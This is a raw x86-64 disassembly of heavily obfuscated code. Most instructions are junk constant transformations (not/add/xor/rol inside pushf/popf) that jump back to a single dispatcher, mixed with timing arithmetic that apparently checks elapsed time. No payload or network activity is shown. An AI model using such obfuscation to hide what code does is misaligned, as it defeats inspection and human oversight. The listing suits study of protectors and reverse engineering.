jmp 0x1403a816a
push rax
pushf
mov eax, 0xf9526de7
pushf
not eax
add eax, 0xe9a9c980
xor eax, 0xe75cdbec
rol eax, 0xda
popf
pushf
not eax
add eax, 0xe6fe741c
xor eax, 0xb4bb071c
rol eax, 0x48
popf
pushf
not eax
add eax, 0xa5441b8f
xor eax, 0x828314ec
rol eax, 0x29
popf
jmp 0x1403a816a
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1403a9752
push rax
pushf
mov eax, 0x462de5f9
pushf
not eax
add eax, 0xf0316c87
xor eax, 0xf67420cc
rol eax, 0xae
popf
pushf
not eax
add eax, 0xc57d8c95
xor eax, 0x87feb605
rol eax, 0x75
popf
pushf
not eax
add eax, 0xb3049f3e
xor eax, 0x9f041908
rol eax, 0x48
popf
pushf
not eax
add eax, 0xecd414a8
xor eax, 0xf7ce4ecc
rol eax, 0x25
popf
jmp 0x1403a816a
push rax
pushf
mov eax, 0x338b7b0c
pushf
not eax
add eax, 0xdf645970
xor eax, 0xb6d74fa2
rol eax, 0x15
popf
pushf
not eax
add eax, 0xcd4d92d6
xor eax, 0x94e9f0e3
rol eax, 0x8c
popf
jmp 0x1403a816a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1403a97e4
push rax
pushf
mov eax, 0x8ae2491e
pushf
not eax
add eax, 0xed0a2431
xor eax, 0xc9ec5206
rol eax, 0x84
popf
pushf
not eax
add eax, 0xd3d4f307
xor eax, 0x96531683
rol eax, 0xc
popf
pushf
not eax
add eax, 0xa105dfe3
xor eax, 0xa991e7f6
rol eax, 0xff
popf
jmp 0x1403a816a
push rax
pushf
mov eax, 0x860d4d57
pushf
not eax
add eax, 0x9248ed4b
xor eax, 0xfdaa98f0
rol eax, 0xf0
popf
pushf
not eax
add eax, 0xd17b686d
xor eax, 0xd37776db
rol eax, 0xe9
popf
jmp 0x1403a816a
call fcn.14021a52b
push rax
pushf
mov eax, 0x8ce6474d
pushf
not eax
add eax, 0x980d17ae
xor eax, 0xe3f9dcf9
rol eax, 0x7b
popf
pushf
not eax
add eax, 0x80613610
xor eax, 0xa24ba29f
rol eax, 0xc8
popf
pushf
not eax
add eax, 0xe2f96b0f
xor eax, 0x912e36fb
rol eax, 0xae
popf
jmp 0x1403a816a
call fcn.1402c1572
mov rbx, rax
call fcn.1401c8308
cmp rbx, 0x989680
jne 0x1403a98ab
push rax
pushf
mov eax, 0x534104d3
pushf
not eax
add eax, 0xdbcf26ee
xor eax, 0xe898e05d
rol eax, 0xa5
popf
pushf
not eax
add eax, 0xbce23f73
xor eax, 0xba06f686
rol eax, 0xf1
popf
jmp 0x1403a816a
push rax
pushf
mov eax, 0x40b7ac03
pushf
not eax
add eax, 0xf4f9c4ba
xor eax, 0xceb14299
rol eax, 0xde
popf
pushf
not eax
add eax, 0xcdec6359
xor eax, 0xbec09c14
rol eax, 0xf5
popf
pushf
not eax
add eax, 0xff8ced7f
xor eax, 0xe3a2af9c
rol eax, 0x6a
popf
jmp 0x1403a816a
imul rax, rax, 0x64
jmp 0x1403a99aa
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
push rcx
not rcx
sub rax, rcx
pop rcx
sub rax, 1
push rax
pushf
mov eax, 0xf038a66
pushf
not eax
add eax, 0x90a1f45d
xor eax, 0xb79c0d0f
rol eax, 0x71
popf
pushf
not eax
add eax, 0xad40ee65
xor eax, 0xe34e8220
rol eax, 0xff
popf
jmp 0x1403a816a
movabs rcx, 0x636b9067e41b0929
pushf
not rcx
add rcx, 0x4a162f2b
xor rcx, 0x6b160f73
rol rcx, 0xb6
popf
pushf
not rcx
add rcx, 0x6503cbf7
xor rcx, 0x4e29100b
rol rcx, 0xb0
popf
pushf
not rcx
add rcx, 0x6e89e731
xor rcx, 0x4c5249f8
rol rcx, 0xac
popf
cmp rax, rcx
jge 0x1403a9a4a
push rax
pushf
mov eax, 0x7b1d0afa
pushf
not eax
add eax, 0x92f1d5ed
xor eax, 0xd6cd2db6
rol eax, 0x9a
popf
pushf
not eax
add eax, 0xd620f3f0
xor eax, 0xf1f8883f
rol eax, 0x4e
popf
pushf
not eax
add eax, 0xc4c07033
xor eax, 0xc7852379
rol eax, 0xcb
popf
jmp 0x1403a816a
push rax
pushf
mov eax, 0x74b7b5bd
pushf
not eax
add eax, 0xb3b0915c
xor eax, 0xfd517029
rol eax, 0x1e
popf
pushf
not eax
add eax, 0x90e6913f
xor eax, 0xc2eeb9d4
rol eax, 0xe
popf
pushf
not eax
add eax, 0xa1dbe192
xor eax, 0xf9fa8ac5
rol eax, 0x5e
popf
jmp 0x1403a816a
movabs rdi, 0x779c4c3d2b7b572a
pushf
not rdi
add rdi, 0x776ae0d9
xor rdi, 0x44106e1d
rol rdi, 0xe5
popf
pushf
not rdi
add rdi, 0x5e70a91f
xor rdi, 0x7ffbc89d
rol rdi, 0x6e
popf
pushf
not rdi
add rdi, 0x6f895831
xor rdi, 0x52864fe8
rol rdi, 0x86
popf
pushf
not rdi
add rdi, 0x51c5a7a4
xor rdi, 0x68deabb6
rol rdi, 0x50
popf
push rax
not rax
sub rdi, rax
pop rax
sub rdi, 1
jmp 0x1403a9c2f
movabs rdi, 0xfd83f76d261b41ff
pushf
not rdi
add rdi, 0x4ef7a4e7
xor rdi, 0x72cfa2e7
rol rdi, 0xa6
popf
pushf
not rdi
add rdi, 0x572d2db0
xor rdi, 0x582edf10
rol rdi, 0x4a
popf
pushf
not rdi
add rdi, 0x6fd6a2b9
xor rdi, 0x4259cad9
rol rdi, 3
popf
pushf
not rdi
add rdi, 0x6446259c
xor rdi, 0x6d2f8b12
rol rdi, 0x55
popf
push rax
pushf
mov eax, 0xf78012f0
pushf
not eax
add eax, 0xea7f89c7
xor eax, 0xa43771d5
rol eax, 0x7b
popf
pushf
not eax
add eax, 0xe269740b
xor eax, 0x95eecdc7
rol eax, 0xf6
popf
pushf
not eax
add eax, 0xe48d9164
xor eax, 0xb963808e
rol eax, 0xa3
popf
pushf
not eax
add eax, 0xcfea2f24
xor eax, 0xdb0e63cc
rol eax, 0x47
popf
jmp 0x1403a816a
movabs rsi, 0xa2b07d711c666dcc
pushf
not rsi
add rsi, 0x7300d31b
xor rsi, 0x5b103860
rol rsi, 0xa5
popf
pushf
not rsi
add rsi, 0x5835a40a
xor rsi, 0x7325bb37
rol rsi, 5
popf
pushf
not rsi
add rsi, 0x485ff613
xor rsi, 0x4f0ca530
rol rsi, 0x6c
popf
pushf
not rsi
add rsi, 0x46b7c7b5
xor rsi, 0x4b217a80
rol rsi, 0x75
popf
movabs r14, 0xd694c18d50fb08b3
pushf
not r14
add r14, 0x413d0f80
xor r14, 0x5ca21115
rol r14, 0xee
popf
pushf
not r14
add r14, 0x42463855
xor r14, 0x5e6dc69e
rol r14, 0x2a
popf
movsd xmm6, qword [0x1400ff1e0]
call fcn.1402c1572
mov rbx, rax
call fcn.1401c8308
cmp rbx, 0x989680
jne 0x1403a9d2a
push rax
pushf
mov eax, 0xc2f7be04
pushf
not eax
add eax, 0xf9215927
xor eax, 0xa3eeac25
rol eax, 0xa1
popf
pushf
not eax
add eax, 0xabb9fb08
xor eax, 0x802b8cea
rol eax, 0x81
popf
jmp 0x1403a816a
push rax
pushf
mov eax, 0x4b5a4615
pushf
not eax
add eax, 0xb1df0ac9
xor eax, 0x9ca08410
rol eax, 0x5a
popf
pushf
not eax
add eax, 0xdb677bef
xor eax, 0x8fab1ff8
rol eax, 0xb1
popf
pushf
not eax
add eax, 0xd36a5ec3
xor eax, 0xe940d43f
rol eax, 0xfd
popf
jmp 0x1403a816a
imul rbx, rax, 0x64
jmp 0x1403a9e0e
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
lea rbx, [rax + rcx]
push rax
pushf
mov eax, 0xcb861a89
pushf
not eax
add eax, 0xf3d6b4cf
xor eax, 0xdfde5d8e
rol eax, 0x65
popf
pushf
not eax
add eax, 0xcde857d6
xor eax, 0xd58f5e57
rol eax, 0xca
popf
jmp 0x1403a816a
cmp rdi, rbx
je 0x1403a9e59
push rax
pushf
mov eax, 0xb386e8f0
pushf
not eax
add eax, 0x90a93796
xor eax, 0xf8c9ceb1
rol eax, 0xbd
popf
pushf
not eax
add eax, 0xe0c8b29d
xor eax, 0x91a4c1bb
rol eax, 0xf9
popf
pushf
not eax
add eax, 0xf216e238
xor eax, 0xae7b837f
rol eax, 0x1f
popf
jmp 0x1403a816a
push rax
pushf
mov eax, 0x45f7a696
pushf
not eax
add eax, 0x9219a7d3
xor eax, 0x8e941820
rol eax, 0xb0
popf
pushf
not eax
add eax, 0xe8db986c
xor eax, 0xcf92d5b5
rol eax, 0x90
popf
jmp 0x1403a816a
jl 0x1403a9ed4
push rax
pushf
mov eax, 0x900e5b9e
pushf
not eax
add eax, 0x8227d9d8
xor eax, 0x8f70c2e7
rol eax, 0xfb
popf
pushf
not eax
add eax, 0xd832adaf
xor eax, 0x83b7f4c7
rol eax, 0xba
popf
pushf
not eax
add eax, 0xd769d28f
xor eax, 0x99ca0fb2
rol eax, 0x9f
popf
jmp 0x1403a816a
push rax
pushf
mov eax, 0xfa681ea3
pushf
not eax
add eax, 0x9a6dd10c
xor eax, 0xed8f868f
rol eax, 0xfc
popf
pushf
not eax
add eax, 0x87b828bc
xor eax, 0x9046718c
rol eax, 0x42
popf
pushf
not eax
add eax, 0xbecdb516
xor eax, 0xe5c5bce9
rol eax, 0xe5
popf
pushf
not eax
add eax, 0x8e86eeca
xor eax, 0x9a7b41fd
rol eax, 0xe4
popf
jmp 0x1403a816a
call fcn.140205c38
imul rcx, rax, 0x64
mov rax, rdi
sub rax, rbx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
comisd xmm0, xmm6
jbe 0x1403a9fa3
push rax
pushf
mov eax, 0xd94db7b7
pushf
not eax
add eax, 0xb150e4fb
xor eax, 0x973ad727
rol eax, 0xa6
popf
pushf
not eax
add eax, 0xb01a2484
xor eax, 0xc7585f15
rol eax, 0
popf
pushf
not eax
add eax, 0x8c69a88b
xor eax, 0x9dacfbaa
rol eax, 0x7c
popf
pushf
not eax
add eax, 0xfdd2d7c2
xor eax, 0xff1a44c9
rol eax, 0xed
popf
jmp 0x1403a816a
push rax
pushf
mov eax, 0x5d2cf68c
pushf
not eax
add eax, 0x99e88e3a
xor eax, 0xcd475fe7
rol eax, 0x20
popf
pushf
not eax
add eax, 0xd06954d6
xor eax, 0xde6c8cdf
rol eax, 0x5f
popf
jmp 0x1403a816a
push rsi
not rsi
sub rcx, rsi
pop rsi
sub rcx, 1
jmp 0x1403aa06c
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
push rax
pushf
mov eax, 0xd3bffcaa
pushf
not eax
add eax, 0xc9b385c8
xor eax, 0xed19e944
rol eax, 0xa2
popf
pushf
not eax
add eax, 0x9583f32d
xor eax, 0xa887bb6d
rol eax, 0x3a
popf
pushf
not eax
add eax, 0xac837e94
xor eax, 0x961e077c
rol eax, 0x21
popf
jmp 0x1403a816a
mov rax, r14
imul rcx
sar rdx, 0x1a
mov rax, rdx
shr rax, 0x3f
push rax
not rax
sub rdx, rax
pop rax
sub rdx, 1
mov qword [rbp - 0x60], rdx
imul eax, edx, 0x3b9aca00
sub ecx, eax
mov dword [rbp - 0x58], ecx
lea rcx, [rbp - 0x60]
call fcn.14025ed69
jmp 0x1403a9ce1
mov r14, qword [rsp + 0x20]
mov rsi, qword [r14]
mov rdi, qword [r14 + 8]
sub rdi, rsi
xor r15d, r15d
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], r15
lea ecx, [r15 + 0x48]
call fcn.14015317f
mov rbx, rax
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rsp + 0x50], rax
mov r8, rax
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x50]
call fcn.1402e021c
mov qword [rbx + 8], rbx
mov qword [rbx], rbx
mov qword [rbx + 0x10], rbx
mov qword [rsp + 0x58], r15
mov byte [rsp + 0x60], r15b
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x30]
mov qword [rbp - 0x80], rax
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x70], rdi
mov rax, qword [rsp + 0x38]
mov qword [rbp - 0x78], rax
lea rcx, [rsp + 0x50]
call fcn.1403299bd
mov ebx, eax
mov r8, qword [rsp + 0x50]
mov r8, qword [r8 + 8]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x50]
call fcn.1402e021c
lea edx, [r15 + 0x48]
mov rcx, qword [rsp + 0x50]
call fcn.14021a52b
nop
mov rcx, qword [r14]
test rcx, rcx
je 0x1403aa21e
push rax
pushf
mov eax, 0x919fbd7b
pushf
not eax
add eax, 0x8bc4ef0c
xor eax, 0xbb58a16d
rol eax, 0xcc
popf
pushf
not eax
add eax, 0xd75799c0
xor eax, 0xd173c0a9
rol eax, 0x54
popf
pushf
not eax
add eax, 0xa2a6fecd
xor eax, 0xc2e1aa62
rol eax, 0xbc
popf
pushf
not eax
add eax, 0xb6db0f7f
xor eax, 0xcdd3ef60
rol eax, 0x77
popf
jmp 0x1403a816a
push rax
pushf
mov eax, 0xac4aca2b
pushf
not eax
add eax, 0x91b2d9cb
xor eax, 0xe7b91ddb
rol eax, 0xe5
popf
pushf
not eax
add eax, 0xb0bf3193
xor eax, 0x85e948b3
rol eax, 0xd1
popf
pushf
not eax
add eax, 0xf361c9c4
xor eax, 0xfb70c65f
rol eax, 0xcd
popf
pushf
not eax
add eax, 0xae99a946
xor eax, 0xd380bfd8
rol eax, 0xed
popf
jmp 0x1403a816a
mov rdx, qword [r14 + 0x10]
sub rdx, rcx
cmp rdx, 0x1000
jb 0x1403aa2ba
push rax
pushf
mov eax, 0x1f344065
pushf
not eax
add eax, 0xe2463221
xor eax, 0xd15d01f6
rol eax, 0xe0
popf
pushf
not eax
add eax, 0xfc3c6eac
xor eax, 0xe89f7e5e
rol eax, 0x6d
popf
jmp 0x1403a816a
push rax
pushf
mov eax, 0x9c39a717
pushf
not eax
add eax, 0x868ab495
xor eax, 0xfed1918e
rol eax, 0x1f
popf
pushf
not eax
add eax, 0x9c3d6c20
xor eax, 0xebeaa30a
rol eax, 0x49
popf
pushf
not eax
add eax, 0xeaa84417
xor eax, 0xdb2aea22
rol eax, 0x27
popf
jmp 0x1403a816a
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1403aa348
push rax
pushf
mov eax, 0xc768bcf5
pushf
not eax
add eax, 0xbb910422
xor eax, 0xa57c2c5e
rol eax, 0xa0
popf
pushf
not eax
add eax, 0xe2ce62c0
xor eax, 0x9179d84d
rol eax, 0x58
popf
jmp 0x1403a816a
push rax
pushf
mov eax, 0x65441865
pushf
not eax
add eax, 0x9db27651
xor eax, 0xdd660c9d
rol eax, 0x1e
popf
pushf
not eax
add eax, 0x89978883
xor eax, 0xd055a425
rol eax, 0x36
popf
jmp 0x1403a816a
mov rcx, r8
push rax
pushf
mov eax, 0x5129e48f
pushf
not eax
add eax, 0x9d16ccbc
xor eax, 0x95fe3c5f
rol eax, 0x4e
popf
pushf
not eax
add eax, 0xd6e618f0
xor eax, 0xac08c9c8
rol eax, 0x1e
popf
pushf
not eax
add eax, 0x9ff3cace
xor eax, 0x8c8350a5
rol eax, 0x48
popf
jmp 0x1403a816a
call fcn.14021a52b
mov qword [r14], r15
mov qword [r14 + 8], r15
mov qword [r14 + 0x10], r15
push rax
pushf
mov eax, 0x54a3d345
pushf
not eax
add eax, 0x82e39ffb
xor eax, 0xfad66eb2
rol eax, 0x90
popf
pushf
not eax
add eax, 0x8276a495
xor eax, 0xd16ecfab
rol eax, 0x88
popf
jmp 0x1403a816a
mov eax, ebx
mov rcx, qword [rbp + 0x210]
xor rcx, rsp
call fcn.1402ac965
movaps xmm6, xmmword [rsp + 0x320]
add rsp, 0x338
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.1401f095d
nop
push rax
pushf
mov eax, 0x6d6fae41
pushf
not eax
add eax, 0xa08076d6
xor eax, 0xdb445849
rol eax, 0xb1
popf
pushf
not eax
add eax, 0xe4d93c85
xor eax, 0xd98cb432
rol eax, 0x68
popf
pushf
not eax
add eax, 0x887fa41e
xor eax, 0xf69c8b03
rol eax, 0xf4
popf
jmp 0x1403a816a
mov ecx, 0x1604a2b1
pushf
not ecx
add ecx, 0xbf1ce771
xor ecx, 0xa80800cc
rol ecx, 0xbe
popf
pushf
not ecx
add ecx, 0xa5649b4f
xor ecx, 0xdf454fd0
rol ecx, 0x2c
popf
pushf
not ecx
add ecx, 0x84daa9c4
xor ecx, 0x82427ef6
rol ecx, 0x89
popf
pushf
not ecx
add ecx, 0xb83d87be
xor ecx, 0xfa481068
rol ecx, 0x32
popf
call fcn.140175f72
nop
push rax
pushf
mov eax, 0xbad4564d
pushf
not eax
add eax, 0xd0e03487
xor eax, 0xf7e0e03a
rol eax, 0x59
popf
pushf
not eax
add eax, 0xfe252e27
xor eax, 0xdea6f442
rol eax, 0xa
popf
pushf
not eax
add eax, 0xde9db54d
xor eax, 0x89e814cc
rol eax, 0x65
popf
pushf
not eax
add eax, 0xfaac8f29
xor eax, 0xd5ec827f
rol eax, 0xc7
popf
jmp 0x1403a816a
call fcn.1401f095d
nop
push rax
pushf
mov eax, 0x4a5e25d0
pushf
not eax
add eax, 0xf7a58689
xor eax, 0xa1177d6e
rol eax, 0x3b
popf
pushf
not eax
add eax, 0x88a984b1
xor eax, 0xa41496fc
rol eax, 0xda
popf
pushf
not eax
add eax, 0x99865aa9
xor eax, 0x9f950dfc
rol eax, 0x3d
popf
jmp 0x1403a816a
mov ecx, 0xf2c4ab96
pushf
not ecx
add ecx, 0xa79492e2
xor ecx, 0x97f7e806
rol ecx, 0xff
popf
pushf
not ecx
add ecx, 0xbeb2b887
xor ecx, 0xd67ef07d
rol ecx, 0xf4
popf
pushf
not ecx
add ecx, 0xeb698b06
xor ecx, 0xe187d49c
rol ecx, 0xdf
popf
call fcn.140175f72
int3